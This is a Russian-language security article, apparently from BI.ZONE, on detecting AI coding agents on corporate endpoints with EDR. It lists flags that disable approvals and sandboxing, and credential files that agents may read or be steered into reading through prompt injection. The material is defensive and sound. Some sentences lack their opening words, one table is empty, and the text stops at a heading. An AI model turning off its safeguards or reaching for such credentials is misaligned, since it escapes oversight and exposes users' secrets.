Запретить нельзя разрешить: где CISO поставить запятую в эпоху ИИ‑агентов
Введение
По данным BI.ZONE SOC, не менее 72% организаций используют ИИ для решения тех или иных задач. Отдельным трендом становится развертывание локальных моделей и внутренних ИИ‑платформ. Все это требует особого внимания служб кибербезопасности, и не без оснований: мы уже фиксируем инциденты, связанные с работой ИИ‑агентов. В статье расскажем, как решения класса EDR обнаруживают ИИ‑агентов и с какими опасными конфигурациями этих агентов можно столкнуться. Также мы поделимся кейсами, в которых выявили вредоносную активность.
Запрет на ИИ ≠ отсутствие ИИ
В корпоративной безопасности может существовать иллюзия: если инструмент запрещен политикой и не числится в CMDB, значит, его в инфраструктуре нет. С ИИ‑агентами такая логика особенно опасна. ИИ‑агент необязательно появляется в компании в рамках централизованного внедрения. Он может «прийти» как расширение IDE, пакет из публичного репозитория, десктопное приложение или консольная утилита. Пока служба кибербезопасности утвердит политику в отношении конкретного продукта, такой инструмент уже способен работать на устройстве сотрудника и использовать ресурсы компании, оставаясь вне поля зрения.
При этом ИИ‑агент — не просто еще один интерфейс для общения с языковой моделью. В зависимости от конфигурации он может читать и изменять файлы, запускать команды, обращаться к внешним сервисам и действовать с правами текущего пользователя. Поэтому появление такого инструмента меняет не только способ работы сотрудника, но и поверхность атаки на конечном устройстве. Если злоумышленник получит доступ к хосту или возможность управлять агентом, он сможет использовать доступные ему полномочия, активные сессии и интеграции для взаимодействия с репозиториями, облачными сервисами, средствами администрирования и другими компонентами IT‑инфраструктуры.
С этим связаны три ключевые группы рисков. Первая — утечка данных. Агент может получить доступ к исходному коду, документам, локальным секретам и корпоративным хранилищам, а затем передать информацию через подключенный инструмент или разрешенное сетевое соединение. Снизить этот риск помогают управляемые MCP‑шлюзы: через них можно централизованно предоставлять агентам доступ к корпоративным инструментам, ограничивать доступные ресурсы и операции, использовать отдельные идентичности и вести аудит обращений. Чтобы такой контроль был эффективным, необходимо также ограничивать прямые обходные пути — произвольный сетевой доступ, выполнение команд и использование локальных учетных данных.
Вторая группа рисков связана с поведением агента, которое невозможно заранее исчерпывающе описать и которое не всегда очевидно пользователю. Агент самостоятельно преобразует высокоуровневую задачу в последовательность команд и обращений к инструментам. При этом безобидный на первый взгляд запрос может привести к поиску сохраненных паролей и токенов, обращению к системным хранилищам или запуску сторонних средств извлечения учетных данных. Для пользователя такие действия могут выглядеть как обычные технические этапы решения задачи, хотя на деле они создают риск раскрытия чувствительных данных. Поэтому даже если агент показывает свои действия и запрашивает подтверждение, пользователь может не понимать, к чему они приведут: он задает цель, но не всегда видит весь путь ее достижения.
Третья группа рисков возникает при компрометации хоста или сессии агента. Злоумышленник может ставить задачи уже запущенному агенту и использовать доступные ему инструменты, активные сессии и интеграции. Даже если EDR связывает выполненную команду с процессом ИИ‑агента, при расследовании необходимо дополнительно установить, кто и что инициировал: пользователь, автономный шаг агента, подключенный инструмент или злоумышленник. Сам пользователь не всегда может подтвердить отдельные команды, поскольку мог их не вводить и даже не видеть. Это создает дополнительную неопределенность при расследовании и реагировании.
В такой ситуации CISO выбирает один из двух подходов: провести жесткую границу, заблокировав сетевой доступ и установку, либо признать, что ИИ‑агенты используются в рабочих процессах, и перевести их в управляемый контур. Формально существует и третий вариант — не формулировать позицию и оставить тему без внимания. Однако агенты продолжат появляться, но уже без правил, владельцев и наблюдаемости.
Запрет, как правило, проще закрепить в политике, тогда как контролируемая открытость требует прозрачности, правил и готовности управлять остаточным риском. При этом запрет способен сократить официальное использование агентов, но не гарантирует их отсутствия и может привести к тому, что сотрудники не будут сообщать об используемых инструментах. Так возникает shadow AI — частный случай shadow IT, при котором ИИ‑агенты используются вне установленных правил и контроля.
Но этот риск не уникален: на конечных устройствах могут быть и другие инструменты двойного назначения: RMM‑средства, системы централизованного управления инфраструктурой, клиенты синхронизации с облачными хранилищами и средства туннелирования. Их наличие само по себе не означает компрометацию, но после получения доступа к хосту или учетной записи злоумышленник может использовать такие инструменты как дополнительный канал взаимодействия с данными и IT‑инфраструктурой.
ИИ‑агенты добавляют к этому еще один пласт: они быстро появляются в инфраструктуре и могут самостоятельно преобразовывать задачу пользователя в последовательность действий с доступными файлами, активными сессиями и подключенными инструментами. Поэтому главный выбор в дилемме «запретить нельзя разрешить» стоит не между безопасностью и инновациями, а между невидимым для организации использованием ИИ‑агентов и контролируемым — таким, при котором она способна выявлять агентов, ограничивать их полномочия и расследовать их действия.
В статье мы рассматриваем ИИ‑агент как компонент инфраструктуры: процесс или набор процессов на хосте, контекст учетной записи, привилегии, доступ к файлам, секретам, сети и внешним инструментам. За рамками остается внутренний слой: содержание запросов и ответов, передача чувствительных данных через диалог и влияние недоверенного контекста на решения модели. Инъекция промпта (prompt injection) упоминается только как возможный источник опасного действия.
Контроль инфраструктурного слоя начинается с инвентаризации. Сначала необходимо установить сам факт присутствия агента, понять, где он работает, кем запущен и в какой конфигурации. Чтобы показать, как этот подход реализуется на практике, в качестве примеров в разделе «Опасные конфигурации ИИ‑агентов» мы рассмотрели Claude Code и Codex. По данным BI.ZONE SOC, оба продукта входят в число наиболее распространенных как среди обнаруженных установок, так и среди фактических запусков.
Так, в инфраструктурах российских компаний чаще всего встречаются:
- Cursor — 24%,
- Codex — 24%,
- Copilot — 17%,
- Claude Code — 8%.
При этом наличие агента на рабочей станции еще не означает его активного использования. Исходя из оценки фактической активности, в топ‑5 агентов входят:
- Codex — 54%,
- Claude Code — 13%,
- Cursor — 12%,
- Zed — 9%,
- OpenCode — 9%.
Такое различие показывает, что распространенность инструмента не всегда отражает его реальную востребованность и уровень потенциального риска.
На примерах двух ИИ‑платформ разберем, что способен обнаружить BI.ZONE EDR, какие опасные конфигурации может выявить BI.ZONE SOC и где проходят границы endpoint‑контроля.
Данные EDR для обнаружения ИИ‑агентов
Если контроль начинается с инвентаризации, возникает практический вопрос: как отличить ИИ‑агента от множества других приложений на конечном устройстве?
Самый очевидный подход — искать характерные имена процессов, пути и пакеты популярных продуктов. Однако он позволяет обнаружить лишь часть сценариев. CLI‑агент может запускаться как нативный или переименованный бинарный файл, через node, python или npx, а также внутри контейнера. Расширение IDE будет работать в контексте самой среды разработки или extension host, а настольное приложение на Electron — создавать несколько типовых процессов. Если же агентская логика встроена в корпоративное приложение через SDK, отдельного процесса агента может не быть вовсе.
Однако у такого подхода есть и другое ограничение: совпадение с продуктовой сигнатурой еще не доказывает присутствие или активное использование агента. Характерное название может встречаться в путях, каталогах проектов, пакетных кешах и командных строках, не связанных с агентской сессией. Исполняемый файл можно переименовать, а конфигурационные артефакты способны сохраняться после удаления продукта.
Сетевое обращение к API LLM‑провайдера тоже не является однозначным признаком. Тем же доменом могут пользоваться браузер, корпоративное приложение, расширение или обычный скрипт. Корпоративный LLM‑шлюз, локальная модель или сетевой прокси, напротив, способны скрыть прямое соединение с публичным API. Даже когда EDR видит процесс‑инициатор, универсальный runtime вроде node или python не всегда позволяет сразу определить стоящий за ним продукт.
Дополнительная сложность — быстрое появление новых инструментов. Каталог ИИ‑агентов меняется быстрее, чем обновляются политики, реестры и продуктовые сигнатуры. Если сосредоточиться только на нескольких популярных решениях, можно пропустить малоизвестного агента, появившегося совсем недавно и еще не имеющего устойчивого имени процесса или характерного набора артефактов. При этом агент может использовать те же Node.js, Python, Electron, контейнеры и MCP, что и уже известные продукты.
Поэтому обнаружение ИИ‑агентов — это не поиск одной универсальной сигнатуры, а корреляция нескольких независимых сигналов:
- сведений об установленном ПО и расширениях;
- дерева процессов;
- файлов конфигурации и состояния;
- сетевой активности;
- подключенных MCP‑серверов.
Чем универсальнее отдельный индикатор, тем больше подтверждающего контекста требуется. Корреляция нескольких независимых признаков позволяет обнаруживать не только известные ИИ‑агенты, но и выявлять неизвестную агентскую активность, требующую дополнительной проверки.
На этапе обнаружения BI.ZONE SOC не пытается определить намерение агента или восстановить содержание его диалога. Задача — установить, какой компонент работает на устройстве, кто его запустил, с какой конфигурацией и насколько уверенно это подтверждается телеметрией конечного устройства.
Установленное ПО и расширения
Сначала нужно определить, какие ИИ‑продукты установлены в системе. Десктопные клиенты и IDE со встроенными агентскими функциями обычно оставляют привычные системные артефакты:
- зарегистрированный пакет,
- исполняемый файл,
- каталог приложения,
- запись в списке установленного ПО.
В Windows это могут быть MSI‑ или MSIX‑пакеты, в macOS — приложения в формате .app и служебные записи установщика для пакетов .pkg, в Linux — записи системного пакетного менеджера.
С CLI‑инструментами ситуация сложнее. Они могут устанавливаться через системные или языковые менеджеры пакетов, временно запускаться через npx либо распространяться как портативные бинарные файлы в пользовательских каталогах. Агент также может быть переименован или встроен в другое приложение через SDK — в последнем случае системная инвентаризация покажет основное приложение, но не обязательно выявит его агентскую функцию.
Поэтому имени файла или хеша недостаточно для надежной идентификации. Хеш меняется при обновлении, а путь и название файла можно подменить. Более надежный результат дает сопоставление нескольких признаков:
- расположения файла,
- цифровой подписи,
- сведений о пакете и версии,
- владельца,
- встроенных метаданных,
- связанных каталогов состояния.
Хеш остается полезным подтверждающим индикатором, но не должен быть единственным основанием для определения продукта.
Отдельного внимания требуют расширения IDE и браузеров. Они могут не создавать самостоятельный процесс: с точки зрения EDR активность будет связана с основной IDE, extension host или браузером. Поэтому дополнительно к инвентаризации системы необходимо проверять пользовательские и системные каталоги расширений, внутренние базы установки и манифесты. Идентификатор расширения, издатель, версия, источник установки и состояние enabled обычно надежнее отображаемого названия.
Наличие пакета или расширения не доказывает, что они активно используются, а оставшийся после удаления каталог не равнозначен установленному агенту. Поэтому полезно различать состояние установки и фактическую активность: одно дело — подтвержденная установка, другое — только остаточные артефакты после удаления, третье — наблюдаемый запуск процесса. Установка может быть нарушением политики. Но насколько оно критично, следует определять с учетом активности агента, его конфигурации и доступных ему ресурсов.
BI.ZONE EDR поддерживает инвентаризацию конечных точек по расписанию, обработку более 200 типов событий мониторинга и инвентаризации, пользовательские правила. Также решение позволяет запускать на хостах программы и скрипты для сбора дополнительных данных. Все это дает возможность проверять не только системный список ПО, но и пользовательские каталоги, портативные бинарные файлы и манифесты расширений, которые стандартная инвентаризация (без создания кастомных правил) может пропустить. BI.ZONE EDR агрегирует эти данные в дашборд инвентаризации ИИ‑агентов, предоставляя готовый список устройств и пользователей с признаками присутствия таких инструментов. После этого активное использование агента подтверждается процессной телеметрией.
Процессная телеметрия
Один из наиболее надежных признаков того, что локальный ИИ‑агент действительно запускался, — событие создания связанного с ним процесса. Периодического списка работающих приложений для этого недостаточно: установщики, менеджеры пакетов и процессы‑обертки могут завершаться слишком быстро. BI.ZONE EDR собирает события запуска процессов и сохраняет связанный с ними контекст.
В первую очередь интересны следующие детали контекста запуска:
- полный путь к исполняемому файлу;
- командная строка и отдельные аргументы;
- цепочка родительских процессов;
- созданные агентом дочерние процессы;
- рабочий каталог и предполагаемый корень проекта;
- пользователь, сессия и уровень привилегий;
- способ запуска (терминал, IDE, SDK, служба или планировщик);
- цифровая подпись, версия, сведения о пакете и хеш.
Имя процесса остается полезным индикатором, но не должно рассматриваться изолированно. Например, CLI‑агент может работать как отдельный бинарный файл либо запускаться через node, python, npx и другие универсальные runtime‑среды. Расширение IDE будет связано с процессом самой среды разработки или extension host, настольное приложение — с типовыми процессами Electron, а контейнерный агент — с процессами внутри соответствующей среды выполнения. Поэтому имя необходимо сопоставлять с путем, аргументами, родительской цепочкой и сведениями об установленном пакете.
Даже дерево процессов IDE не всегда позволяет определить конкретное расширение. Такое расширение нужно связывать с идентификатором установленного плагина, расположением его файлов и последующей активностью. Если агентская функция встроена в приложение через SDK и работает внутри основного процесса, отдельного события запуска агента может не быть.
Похожая проблема возникает с локальными MCP‑серверами. Они могут выглядеть как обычные дочерние процессы node, python, npx, uvx, powershell или docker. Принадлежность сервера к агентской сессии подтверждается не именем процесса, а сочетанием родительской цепочки, аргументов запуска и соответствующей записи в конфигурации MCP.
Особенно информативна командная строка: помимо продукта и способа запуска, в ней могут быть указаны путь к конфигурации, рабочий каталог, подключаемый пакет и параметры, отключающие подтверждения или ограничения песочницы. Анализ командной строки в событии запуска позволяет одновременно подтвердить запуск агента и выявить потенциально опасную конфигурацию. Конкретные режимы и параметры рассмотрим в разделе, который посвящен опасным конфигурациям.
BI.ZONE EDR автоматически выявляет запуск процесса агента с опасными параметрами, сопоставляя признаки агентского процесса с аргументами запуска. При этом совпадения по одному параметру недостаточно: решение учитывает тип устройства, родительскую цепочку, пользователя и среду исполнения. Полный доступ может быть предусмотрен внутри изолированного CI‑контейнера, но требует проверки на рабочей станции с корпоративными учетными данными и сетевым доступом.
Если в командной строке нет опасного параметра, это не доказывает безопасность конфигурации. Аналогичные (то есть столь же опасные) настройки могут находиться в пользовательских или проектных файлах либо изменяться уже внутри интерактивной сессии. Поэтому процессную телеметрию необходимо сопоставлять с конфигурационными и файловыми артефактами.
Наконец, события процессов показывают только активность, попавшую в период хранения телеметрии. Установленный, но давно не запускавшийся агент останется незаметным, а встроенная через SDK агентская функция может не создавать отдельного процесса. Поэтому процессная телеметрия переводит статус агента из «обнаружена установка» в «зафиксирован запуск», но не заменяет инвентаризацию ПО и файловой системы.
Файлы и настройки агентов
Файловые артефакты позволяют обнаруживать не только установленные, но и неактивные ИИ‑агенты. После работы таких инструментов могут сохраняться:
- настройки,
- журналы и история сессий,
- локальное состояние,
- проектные инструкции,
- конфигурации MCP‑серверов,
- хуки,
- навыки (skills),
- плагины.
Типовые области поиска различаются в зависимости от операционной системы:
| Операционная система | Типовые расположения |
|---|---|
| Windows |
|
| macOS |
|
| Linux |
|
Здесь <agent> и <vendor> обозначают каталоги конкретных продуктов. Точные пути и состав файлов могут меняться между версиями, поэтому в BI.ZONE EDR они вынесены в отдельно обновляемый каталог сигнатур. Пример такого каталога — публичный реестр AI Agent Discovery.
BI.ZONE EDR также мониторит связанные с ИИ‑агентами каталоги проектов и хранилища IDE. Там могут находиться проектные настройки, правила, инструкции, определения MCP‑серверов и дополнительные компоненты агента. Однако наличие подобных файлов еще не доказывает, что агент установлен или запускался: конфигурация могла попасть на устройство вместе с репозиторием, резервной копией или тестовым проектом.
Надежность вывода повышается, когда файловый признак агента сопоставляется с его же процессом, пользователем, корнем проекта и близкими временными метками. История сессий или внутреннее состояние агента с характерной схемой продукта убедительнее свидетельствуют о прошлой активности, чем пустой каталог, но до появления нового события процесса это остается следом предыдущего запуска.
Конфигурационные файлы могут показать часть возможностей агента:
- режим подтверждений,
- ограничения песочницы,
- разрешенные каталоги,
- подключенные MCP‑серверы,
- хуки,
- источники расширений.
При этом одного найденного параметра недостаточно. Настройки могут одновременно задаваться на уровне организации, пользователя, проекта и отдельной сессии, а управляемая политика — переопределять или блокировать локальное значение. Поэтому EDR должен фиксировать не только имя параметра, но и путь, область действия, владельца, права доступа и время изменения файла.
BI.ZONE EDR также фиксирует изменения конфигурационных артефактов и параметров, которые входят в инвентаризацию. Это позволяет видеть момент изменения настройки и учитывать его при расследовании. Например, создание или модификация конфигурации MCP, хуков, плагинов либо проектных правил неизвестным процессом может указывать на подмену настроек или добавление новых возможностей для последующих сессий. При расследовании такое событие необходимо сопоставлять с редакторами, средствами управления конфигурациями и установщиками, которые могут изменять те же файлы легитимно.
В конфигурациях, переменных окружения MCP, HTTP‑заголовках, URL и истории сессий могут находиться токены и другие учетные данные. В штатную телеметрию достаточно передавать:
- путь и тип файла,
- область конфигурации,
- имена параметров без значений,
- данные о владельце,
- права доступа,
- хеш,
- время изменения.
Полное содержимое конфигураций, истории и транскриптов следует собирать только в рамках расследования со строгим контролем доступа.
Сетевая телеметрия
Сетевая телеметрия помогает отличить конфигурацию, оставшуюся на диске, от текущей активности агента. Наибольшую ценность представляет не сам адрес назначения, а соединение, связанное с конкретным процессом, пользователем и деревом запуска.
BI.ZONE EDR фиксирует процесс‑инициатор, DNS‑запрос, удаленный адрес и порт, протокол, время соединения и объем переданных данных. Более надежным признаком активности агента служит последовательность событий в коротком временном окне:
Запуск агента → DNS‑запрос → соединение с LLM‑платформой или корпоративным шлюзом
Сам по себе домен LLM‑провайдера — слишком слабый признак, чтобы уверенно идентифицировать агента. К этому же домену могут обращаться браузеры, SDK, расширения IDE, корпоративные приложения и обычные скрипты. Совпадение становится значимее, если инициировавший соединение процесс ранее был связан с установленным пакетом, конфигурацией или характерной командной строкой агента.
Возможна и обратная ситуация: агент работает, но прямого соединения с публичной LLM‑платформой нет. Он может использовать локальную модель, корпоративный LLM‑шлюз, самостоятельно размещенный endpoint или облачный сервис‑посредник. Браузерный агент также может быть виден только как сетевой трафик браузера, без отдельного процесса на конечном устройстве.
Если трафик проходит через корпоративный прокси, EDR может видеть лишь соединение с ним. В таком случае endpoint‑телеметрию необходимо сопоставлять с журналами DNS, прокси и сетевого шлюза, чтобы восстановить конечное назначение запроса.
Поэтому сетевые события лучше использовать для подтверждения активности уже найденного агента, а не как самостоятельный механизм инвентаризации. Без расшифровки TLS EDR обычно видит метаданные соединения, но не содержание промпта, назначение вызова инструмента или инструкции, полученные моделью. Чтобы контролировать этот уровень, потребуются журналы самого агента, LLM‑шлюза или MCP‑инфраструктуры.
MCP
MCP, или Model Context Protocol, — это протокол, через который ИИ‑агент подключается к внешним данным и инструментам. MCP‑сервер может предоставить доступ к файлам, репозиториям, базам данных, браузеру, облачной инфраструктуре или командной оболочке. Поэтому его конфигурация — не просто список интеграций, а карта возможностей, делегированных агенту.
При локальном подключении через stdio (стандартные потоки ввода и вывода) агент обычно запускает MCP‑сервер как дочерний процесс. Это может быть отдельный бинарный файл, контейнер или процесс универсального runtime, например node, python, npx либо uvx. EDR видит командную строку, дерево процессов, пользователя, обращения к файлам и исходящие соединения такого сервера.
Локальный MCP может работать и как отдельная служба или HTTP‑процесс. В этом случае связь не отражается в дереве процессов. Для ее установления приходится использовать адрес из конфигурации, прослушиваемый порт, процесс‑владелец, пользователя и время обращения.
Удаленный MCP‑сервер выполняется за пределами конечного устройства. EDR может обнаружить URL сервера в конфигурации и зафиксировать связанное с ним сетевое соединение, но обычно не видит полный каталог инструментов, их описания и действия на стороне сервера. Эти данные могут изменяться без модификации локальной конфигурации.
Широту возможных полномочий показывают MCP‑серверы для автоматизации рабочего стола. Windows‑MCP предоставляет инструменты для управления интерфейсом, выполнения PowerShell, работы с файлами, процессами и реестром. По умолчанию доступны все инструменты, хотя их набор можно ограничить. macOS‑MCP использует Accessibility API, управляет приложениями и выполняет шелл‑команды и AppleScript. В документации macOS‑MCP указано, что операции выполняются без песочницы и с правами пользователя.
При инвентаризации EDR связывает агент с каждым настроенным MCP‑сервером и фиксирует следующие параметры:
- область конфигурации,
- тип транспорта,
- команду или URL,
- аргументы запуска,
- путь к пакету,
- пользователя,
- открытый порт,
- заданные ограничения инструментов.
Значения токенов, HTTP‑заголовков и переменных окружения в телеметрию не передаются. Достаточно отметить способ аутентификации и факт передачи учетных данных.
Таким образом, в случае локального MCP EDR‑решение способно увидеть конфигурацию, процесс и последствия работы сервера на конечном устройстве. Для удаленного сервера видимость обычно ограничивается настройкой подключения и сетевой активностью. Чтобы определить доступный агенту каталог инструментов и зафиксировать их фактические вызовы, потребуются журналы самого агента, MCP‑сервера или отдельного MCP‑шлюза.
Реестр ИИ‑агентов и CMDB
Процессная, файловая и сетевая телеметрия, сведения об установленном ПО и MCP‑конфигурациях приобретают ценность только после корреляции. Иначе специалисты по кибербезопасности получают набор независимых событий, но не понимают, относятся ли они к одному агенту и насколько надежно подтверждено его присутствие.
В дальнейшем результаты такой корреляции планируется связать с CMDB, чтобы формировать единый реестр ИИ‑агентов. Для каждого обнаруженного экземпляра желательно фиксировать:
- продукт, компонент, версию, способ установки и путь;
- устройство, ОС, пользователя и бизнес‑владельца;
- связанные процессы, время первого и последнего наблюдения;
- состояние (подтверждена установка, зафиксирован запуск, найдены только остаточные артефакты);
- источники сигналов и степень достоверности обнаружения;
- подключенные MCP‑серверы и доступные категории инструментов, если их удалось определить;
- статус допуска (разрешен, запрещен, еще не классифицирован);
- критичность доступных ресурсов, утвержденную конфигурацию и срок действия исключения.
Не нужно превращать каждый запуск CLI в отдельную конфигурационную единицу. CMDB хранит устойчивые объекты и связи — устройство, владельца и бизнес‑контекст, — а реестр агентов дополняет их динамическими сведениями EDR. Для пользовательской установки базовой записью может быть связка «продукт — пользователь — устройство», а отдельные процессы и сессии учитываются как факты активности. Для системной установки связь с пользователями формируется по фактическим запускам.
EDR выступает ключевым, хотя и не единственным, источником данных о локальных ИИ‑агентах. Реестр следует обогащать сведениями из следующих источников:
- MDM‑систем,
- прокси‑серверов и DNS‑журналов,
- систем управления расширениями,
- IAM‑систем,
- облачных платформ,
- журнал SaaS‑сервисов.
Это позволяет учитывать браузерные и облачные агенты, которые не создают отдельного процесса на конечном устройстве, а также оценивать ресурсы, доступные пользователю за пределами хоста.
Если разрешить ограниченный перечень проверенных продуктов, это снизит операционную нагрузку. Для таких продуктов заранее определяются владельцы, допустимые способы установки, сценарии использования и эталонная конфигурация. Однако белый список не должен становиться границей обнаружения: новый агент может использовать те же Node.js, Python, IDE и MCP, что и уже разрешенные решения.
Поэтому специалисты по кибербезопасности должны различать три категории:
- известный разрешенный агент,
- известный неразрешенный агент,
- неизвестная агентская активность.
Последняя не обязательно означает инцидент, но требует классификации. Именно эта категория не позволяет реестру превратиться в статичный список популярных продуктов.
Первичную инвентаризацию можно считать выстроенной, когда организация способна ответить на пять вопросов:
- Что работает?
- Где работает?
- Кем запущено?
- Какими возможностями обладает?
- Разрешено ли политикой?
После этого фокус смещается с самого факта присутствия агента на его конфигурацию и настройки, увеличивающие потенциальную зону поражения.
Опасные конфигурации ИИ‑агентов
Инвентаризация отвечает на вопрос, какой агент присутствует в инфраструктуре, но еще не позволяет оценить связанный с ним риск. Например, и Claude Code, и Codex может работать в изолированной среде без сетевого доступа, а может быть запущен без подтверждений, с правами администратора, доступом к учетным данным и продакшен‑инфраструктуре. В реестре это будет один и тот же продукт, но потенциальная зона поражения окажется принципиально разной.
Поэтому после инвентаризации следующий этап — оценить фактически применяемую конфигурацию агента и среды его исполнения. Эта конфигурация может одновременно формироваться на уровне организации, пользователя, проекта и командной строки, поэтому отдельный параметр не всегда отражает реальные возможности конкретного запуска. Опасной конфигурацией становится состояние или сочетание настроек, которые позволяют агенту действовать без достаточных ограничений, использовать избыточные полномочия или обращаться к неподконтрольным ресурсам.
Prompt injection и tool poisoning в этой модели рассматриваются как техники воздействия на агента, позволяющие использовать слабости в настройке его доступов и полномочий. Риск определяется не содержанием вредоносного промпта, а реальными возможностями агента: к каким данным и инструментам он имеет доступ и насколько свободно он может действовать. Например, вредоносный промпт сам по себе не предоставляет доступ к шеллу или секретам — получить его локальный агент может, в частности, с внешнего сайта, где инструкция по решению проблемы на деле содержит скрытые указания. Агент действует по инструкции, только если у него есть техническая возможность ее реализовать.
EDR позволяет оценивать три уровня: статическую конфигурацию, контекст запущенного процесса и его поведение. Для этого сопоставляются аргументы запуска, конфигурационные файлы, пользователь и уровень его прав, файловая активность, дочерние процессы и сетевые соединения. Однако endpoint‑телеметрия не всегда раскрывает полномочия за пределами хоста: для оценки прав в GitHub, Kubernetes или облаке потребуются данные соответствующих платформ. Рассмотрим опасные конфигурации ИИ‑агентов и для каждой покажем, что может увидеть EDR, а где его возможностей недостаточно.
Агент действует без подтверждений и ограничений песочницы
Механизм подтверждений (approval) определяет, должен ли агент согласовывать действие с пользователем, а песочница ограничивает, какие действия запущенная команда может выполнить. Эти меры дополняют друг друга. Например, отключенные подтверждения внутри режима «только для чтения» не дают агенту изменить систему, а включенный approval теряет смысл, если широкие правила условий заранее разрешают все команды. Наиболее опасна комбинация, при которой агент действует автономно и одновременно может записывать файлы, запускать произвольный код и обращаться к сети.
permissions.defaultMode: “bypassPermissions”, --permission‑mode bypassPermissions и --dangerously‑skip‑permissions. Широкие правила permissions.allow и --allowedTools также могут предоставить агенту значительный набор действий без дополнительных запросов пользователю. Изоляцию команд ослабляют отключение песочницы, failIfUnavailable: false, допускающий выполнение без изоляции при ошибке ее запуска, allowUnsandboxedCommands: true, сохраняющий возможность выполнять команды вне песочницы, и excludedCommands, явно выводящий отдельные команды из‑под ее ограничений. Дополнительного внимания требуют широкие пути для записи и доступ к управляющим Unix‑сокетам, например /var/run/docker.sock.
approval_policy = “never” и --ask‑for‑approval never. Ограничения песочницы снимают sandbox_mode = “danger‑full‑access”, профиль :danger‑full‑access и аргумент --sandbox danger‑full‑access. Флаг --dangerously‑bypass‑approvals‑and‑sandbox одновременно отключает запросы на подтверждение и песочницу.
auto передает команды и запись в защищенные каталоги фоновому классификатору, который может заблокировать рискованное действие. В Codex параметр approvals_reviewer = “auto_review” при интерактивной политике подтверждений направляет подходящие запросы отдельному reviewer‑агенту вместо пользователя. Поэтому auto в Claude Code следует отличать от bypassPermissions, а auto_review в Codex — от --dangerously‑bypass‑approvals‑and‑sandbox: в автоматических режимах решение по‑прежнему проходит проверку, тогда как режимы обхода отключают соответствующие защитные механизмы.
Формально включенная песочница также может быть нейтрализована исключениями. Запись во весь домашний каталог открывает доступ к шелл‑конфигурации и механизмам автозапуска, подключение Docker socket — к управлению хостом, а неограниченная сеть создает канал для загрузки кода и передачи данных. Поэтому специалист по кибербезопасности должен не только проверять наличие параметра sandbox, но и учитывать, какая установлена граница для каждого конкретного запуска.
Для EDR наиболее надежны аргументы запуска конкретного процесса: флаги полного обхода и режимы danger‑full‑access с высокой степенью достоверности указывают на опасную конфигурацию. Дополнить картину помогает файловая инвентаризация, которая проверяет настройки в пользовательских, проектных и управляемых конфигурационных файлах settings.json для Claude Code, а также в $CODEX_HOME/config.toml, проектных .codex/config.toml, файлах профилей разрешений и requirements.toml для Codex.
Статическую проверку следует подтверждать анализом активности, которая порождается ИИ. EDR‑решение может сравнивать рабочую директорию агента с фактическими операциями записи, отслеживать изменение .bashrc, каталогов автозапуска и файлов других проектов, а также фиксировать дочерние шелл‑, python‑ и Node.js‑процессы, сетевые соединения и обращения к Unix‑сокетам. Выход за ожидаемую границу не обязательно означает атаку: он может быть разрешен исключением или одобрен пользователем. Однако сам факт выхода за границу доказывает, что для конкретного действия песочница не стала ограничением.
Специалистам по кибербезопасности полезно различать три состояния защищенности агента:
- подтвержденный режим полного обхода,
- возможность выйти из песочницы через fallback или исключение,
- фактически наблюдаемое действие за установленной границей.
EDR‑решение может не зафиксировать переключение режима внутри интерактивной сессии. Поэтому, чтобы установить факт подтверждения или автоматической проверки, endpoint‑телеметрию необходимо дополнять журналами самого агента.
Агент работает с избыточными правами и доступом к учетным данным
Локальный ИИ‑агент обычно работает не под отдельной учетной записью, а в контексте пользователя, терминала или IDE, из которых он был запущен. Он наследует доступ к файлам и локальным сервисам, а также может использовать учетные данные и активные сессии пользователя. Поэтому зона воздействия определяется не только настройками агента, но и всем контекстом рабочей станции.
Наиболее очевидный риск — запуск с правами root, SYSTEM или с повышенными привилегиями администратора. Однако членство пользователя в административной группе еще не означает, что конкретный процесс обладает расширенными полномочиями. В Windows это подтверждают высокий или системный уровень целостности и признаки повышения привилегий (elevation). При использовании sudo необходимо проверять пользователя дочернего процесса. Также UID 0 внутри rootless‑контейнера нельзя автоматически приравнивать к root на хосте.
Однако риск для инфраструктуры не сводится к наличию или отсутствию повышенных привилегий. Административные права для нанесения ущерба необязательны. Обычная учетная запись разработчика может иметь доступ к VPN, приватным репозиториям, облачным проектам, Kubernetes‑кластерам и удаленным серверам. На macOS границу дополнительно расширяют разрешения Full Disk Access и Accessibility, выданные терминалу или IDE. Смешение личных и корпоративных Git‑аккаунтов, SSH‑ключей и облачных профилей дает агенту потенциальный доступ сразу к нескольким контурам.
Учетные данные могут использоваться двумя способами. В первом случае агент непосредственно читает .env, приватный ключ, kubeconfig, облачный профиль или переменную окружения. Во втором — запускает уже аутентифицированный git, ssh, kubectl, aws или gh. Значение секрета тогда может не попасть в контекст модели, но агент все равно получает возможность действовать от имени пользователя через SSH Agent, credential helper или активную CLI‑сессию.
Опасной конфигурацией следует считать доступ агента к полномочиям и учетным данным, которые не требуются для его задачи.
sandbox.credentials.files, sandbox.credentials.envVars и sandbox.filesystem.denyRead. Правила permissions.deny дополнительно закрывают доступ через встроенные инструменты.
shell_environment_policy, определяющий переменные, передаваемые дочерним процессам. Собственные учетные данные Codex также предпочтительно хранить в системном keyring, а не в $CODEX_HOME/auth.json для изоляции чувствительной информации (данных для аутентификации).
BI.ZONE EDR определяет локальный контекст по UID или SID, действующему пользователю (effective user), уровню целостности (integrity level), признакам повышения привилегий, типу сессии и родительскому процессу. Дополнительными сигналами становятся запуск через sudo, su, runas, службу или планировщик заданий, а также работа агента внутри IDE, запущенной с повышенными правами. Принадлежность пользователя к привилегированным локальным группам — лишь косвенный признак. Фактические полномочия процесса определяются его токеном, а не списком групп пользователя.
Файловая инвентаризация позволяет определить наличие и доступность основных credential‑объектов: .env, каталогов ~/.ssh, облачных профилей, kubeconfig, хранилищ учетных данных Git и конфигураций package manager. Для каждого объекта достаточно фиксировать категорию, путь, владельца, ACL и время изменения. Наличие файла еще не доказывает его доступность для агента, особенно если секрет хранится в Keychain или keyring и защищен отдельными правилами доступа.
Более весомый сигнал об угрозе — чтение credential‑файла агентом или его дочерним процессом. Такие события EDR‑решение связывает с последующим запуском ssh, git, kubectl, облачного CLI, архиватора или сетевой утилиты. При делегированном доступе файлового события может не быть. Тогда SOC видит дерево процессов, обращение к сокету SSH Agent или credential helper и активность в удаленной системе.
Важно различать доступность учетных данных и их фактическое использование. Первая является опасной конфигурацией, второе — возможным признаком ее эксплуатации. EDR способен показать локальный контекст и цепочку действий, но права, предоставляемые Git‑токеном, облачную роль или разрешения Kubernetes необходимо подтверждать данными IAM, Git‑платформ и журналами удаленных систем.
MCP‑серверы подключены без проверки источника и ограничения полномочий
